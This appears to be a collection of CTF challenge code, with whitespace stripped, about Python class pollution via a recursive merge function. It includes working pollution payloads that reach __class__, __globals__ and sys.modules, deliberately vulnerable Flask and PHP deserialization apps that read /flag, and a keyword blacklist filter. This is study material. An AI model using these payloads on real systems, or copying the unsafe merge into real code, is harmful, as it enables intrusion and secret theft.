defmerge(src,dst):# Recursive merge function fork,vinsrc.items():ifhasattr(dst,'__getitem__'):ifdst.get(k)andtype(v)==dict:merge(v,dst.get(k))else:dst[k]=velifhasattr(dst,k)andtype(v)==dict:merge(v,getattr(dst,k))else:setattr(dst,k,v)classctfer:flag="flag{fake_flag}"classDelete(ctfer):passclassChu0(ctfer):passclassKengwang(ctfer):passctf1=Delete()ctf2=Chu0()evil_playload={"__class__":{"__base__":{"flag":"flag{really_flag}"}}}print(ctf1.flag)print(ctf2.flag)merge(evil_playload,ctf1)print(ctf1.flag)print(ctf2.flag)
importtest1importsysdefmerge(src,dst):# Recursive merge function fork,vinsrc.items():ifhasattr(dst,'__getitem__'):ifdst.get(k)andtype(v)==dict:merge(v,dst.get(k))else:dst[k]=velifhasattr(dst,k)andtype(v)==dict:merge(v,getattr(dst,k))else:setattr(dst,k,v)classTest():def__init__(self):passevil_playload={"__init__":{"__globals__":{"sys":{"modules":{"test1":{"Test1":{"flag":"flag{really_flag}"}}}}}}}test=Test()print(test1.Test1.flag)merge(evil_playload,test)print(test1.Test1.flag)
<?phphighlight_file(__FILE__);error_reporting(E_ALL);ini_set('display_errors',1);functionfilter($a){$pattern=array('\'','"','%','\(','\)',';','bash');$pattern='/'.implode('|',$pattern).'/i';if(preg_match($pattern,$a)){die("No injecting!!!");}return$a;}classENV{public$key;public$value;public$math;publicfunction__toString(){$key=filter($this->key);$value=filter($this->value);putenv("$key=$value");system("cat hints.txt");}publicfunction__wakeup(){if(isset($this->math->flag)){echogetenv("LD_PRELOAD");echo"YesYes";}else{echo"YesYesYes";}}}classDIFF{public$callback;public$back;private$flag;publicfunction__isset($arg1){system("cat /flag");$this->callback->p;echo"You are stupid, what exactly is your identity?";}}classFILE{public$filename;public$enviroment;publicfunction__get($arg1){if("hacker"==$this->enviroment){echo"Hacker is bad guy!!!";}}publicfunction__call($function_name,$value){if(preg_match('/\.[^.]*$/',$this->filename,$matches)){$uploadDir="/tmp/";$destination=$uploadDir.md5(time()).$matches[0];if(!is_dir($uploadDir)){mkdir($uploadDir,0755,true);}file_put_contents($this->filename,base64_decode($value[0]));if(rename($this->filename,$destination)){echo"文件成功移动到${destination}";}else{echo'文件移动失败。';}}else{echo"非法文件名。";}}}classFUN{public$fun;public$value;publicfunction__get($name){echo"Hacker!aaaaaaaaaaaaa";$this->fun->getflag($this->value);}}
@app.route('/',methods=['POST','GET'])defindex():ifrequest.data:merge(json.loads(request.data),instance)return"flag in ./flag but heres only static/index.html"
#app.pyfromflaskimportFlask,requestimportjsonapp=Flask(__name__)defmerge(src,dst):# Recursive merge functionfork,vinsrc.items():ifhasattr(dst,'__getitem__'):ifdst.get(k)andtype(v)==dict:merge(v,dst.get(k))else:dst[k]=velifhasattr(dst,k)andtype(v)==dict:merge(v,getattr(dst,k))else:setattr(dst,k,v)classcls():def__init__(self):passinstance=cls()@app.route('/',methods=['POST','GET'])defindex():ifrequest.data:merge(json.loads(request.data),instance)return"flag in ./flag but heres only static/index.html"app.run(host="0.0.0.0")
fromflaskimportFlask,session,redirect,url_for,request,render_templateimportosimporthashlibimportjsonimportredefgenerate_random_md5():random_string=os.urandom(16)md5_hash=hashlib.md5(random_string)returnmd5_hash.hexdigest()deffilter(user_input):blacklisted_patterns=['init','global','env','app','_','string']forpatterninblacklisted_patterns:ifre.search(pattern,user_input,re.IGNORECASE):returnTruereturnFalsedefmerge(src,dst):# Recursive merge functionfork,vinsrc.items():ifhasattr(dst,'__getitem__'):ifdst.get(k)andtype(v)==dict:merge(v,dst.get(k))else:dst[k]=velifhasattr(dst,k)andtype(v)==dict:merge(v,getattr(dst,k))else:setattr(dst,k,v)app=Flask(__name__)app.secret_key=generate_random_md5()classevil():def__init__(self):pass@app.route('/',methods=['POST'])defindex():username=request.form.get('username')password=request.form.get('password')session["username"]=usernamesession["password"]=passwordEvil=evil()ifrequest.data:iffilter(str(request.data)):return"NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"else:merge(json.loads(request.data),Evil)return"MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"returnrender_template("index.html")@app.route('/admin',methods=['POST','GET'])deftemplates():username=session.get("username",None)password=session.get("password",None)ifusernameandpassword:ifusername=="adminer"andpassword==app.secret_key:returnrender_template("flag.html",flag=open("/flag","rt").read())else:return"Unauthorized"else:returnf'Hello, This is the POLLUTED page.'if__name__=='__main__':app.run(host='0.0.0.0',port=5000)
@app.route("/save_feedback",methods=["POST"])@login_requireddefsave_feedback():data=json.loads(request.data)feedback=Feedback()# Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.merge(data,feedback)save_feedback_to_disk(feedback)returnjsonify({"success":"true"}),200